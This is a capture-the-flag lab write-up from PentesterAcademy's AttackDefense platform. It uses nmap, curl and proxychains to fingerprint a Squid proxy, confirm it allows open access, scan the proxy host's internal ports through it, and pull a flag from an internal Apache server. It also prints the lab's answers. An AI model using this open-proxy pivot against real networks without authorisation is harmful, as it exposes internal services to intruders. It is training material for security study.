
ATTACK
DEFENSE
by PentesterAcademy

Name	Squid Recon: Basics
URL	https://www.attackdefense.com/challengedetails?cid=525
Type	Network Recon : Proxy Servers

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. Find the version of Squid proxy.

Answer: 3.5.12

Command: nmap -sV 192.201.208.3

```
root@attackdefense:~# nmap -sV 192.201.208.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-25 13:13 UTC
Nmap scan report for ufjkj7hu8guk9xd5ng13n17jw.temp-network_a-201-208 (192.201.208.3)
Host is up (0.000013s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE    VERSION
3128/tcp open  http-proxy Squid http proxy 3.5.12
MAC Address: 02:42:C0:C9:D0:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.69 seconds
root@attackdefense:~#
```

Q2. Is the Squid proxy using open authentication.

Answer: yes

Command: curl -x 192.201.208.3:3128 127.0.0.1

```
root@attackdefense:~# curl -x 192.201.208.3:3128 127.0.0.1
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<meta type="copyright" content="Copyright (C) 1996-2015 The Squid Software Foundation and contributors">
<meta http-equiv="Content-Type" CONTENT="text/html; charset=utf-8">
<title>ERROR: The requested URL could not be retrieved</title>
<style type="text/css"><!--
 /*
 * Copyright (C) 1996-2015 The Squid Software Foundation and contributors
 *
 * Squid software is distributed under GPLv2+ license and includes
 * contributions from numerous individuals and organizations.
 * Please see the COPYING and CONTRIBUTORS files for details.
 */

/*
 Stylesheet for Squid Error pages
 Adapted from design by Free CSS Templates
 http://www.freecsstemplates.org
 Released for free under a Creative Commons Attribution 2.5 License
*/
```

```
<div id="content">
<p>The following error was encountered while trying to retrieve the URL: <a href="http://127.0.0.1/">http://127.0.0.1/</a></p>

<blockquote id="error">
<p><b>Connection to 127.0.0.1 failed.</b></p>
</blockquote>

<p id="sysmsg">The system returned: <i>(111) Connection refused</i></p>

<p>The remote host or network may be down. Please try the request again.</p>

<p>Your cache administrator is <a href="mailto:webmaster?subject=CacheErrorInfo%20-%20ERR_CONNECT_FAIL&amp;body=CacheHost%3A%20victim
-1%0D%0AErrPage%3A%20ERR_CONNECT_FAIL%0D%0AErr%3A%20(111)%20Connection%20refused%0D%0ATimeStamp%3A%20Sat,%2025%20May%202019%2013%3A15
%3A16%20GMT%0D%0A%0D%0AClientIP%3A%20192.201.208.2%0D%0AServerIP%3A%20127.0.0.1%0D%0A%0D%0AHTTP%20Request%3A%0D%0AGET%20%2F%20HTTP%2F
1.1%0AUser-Agent%3A%20curl%2F7.61.0%0D%0AAccept%3A%20*%2F*%0D%0AProxy-Connection%3A%20Keep-Alive%0D%0AHost%3A%20127.0.0.1%0D%0A%0D%0A
%0D%0A">webmaster</a>.</p>
```

Q3. On which port is Apache service listening locally?

Answer: 1337

Solution:

Configure proxychains:

Comment out the last line and add the following line to “/etc/proxychains” file:
http 192.201.208.3 3128

```
root@attackdefense:~# tail -2 /etc/proxychains.conf
#socks4         127.0.0.1 9050
http 192.201.208.3 3128
root@attackdefense:~#
```

Running nmap scan through squid proxy:

Command: proxychains nmap -sV -sT -p- 127.0.0.1

```
root@attackdefense:~# proxychains nmap -sV -sT -p- 127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-25 13:25 UTC
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:5900-<--denied
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:3306-<--denied
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:23-<--denied
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:143-<--denied
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:1723-<--denied
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:25-<--denied
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:8080-<--denied
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:135-<--denied
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:3128-<><>-OK
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:1337-<><>-OK
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:3128-<><>-OK
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00075s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE    VERSION
1337/tcp  open  http       Apache httpd 2.4.18 ((Ubuntu))
3128/tcp  open  http-proxy Squid http proxy 3.5.12
33680/tcp open  tcpwrapped
56526/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.16 seconds
root@attackdefense:~#
```

Q4. Get the flag from the web server running locally on the proxy server.

Answer: 84b321a74d69045cf4ff0270ea7ad4e5

Command: curl -x 192.201.208.3:3128 127.0.0.1:1337

```
root@attackdefense:~# curl -x 192.201.208.3:3128 127.0.0.1:1337
84b321a74d69045cf4ff0270ea7ad4e5
root@attackdefense:~#
```

Command: proxychains curl 127.0.0.1:1337

```
root@attackdefense:~# proxychains curl  127.0.0.1:1337
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.201.208.3:3128-<><>-127.0.0.1:1337-<><>-OK
84b321a74d69045cf4ff0270ea7ad4e5
root@attackdefense:~#
```

References:

1. Squid Proxy (http://www.squid-cache.org/)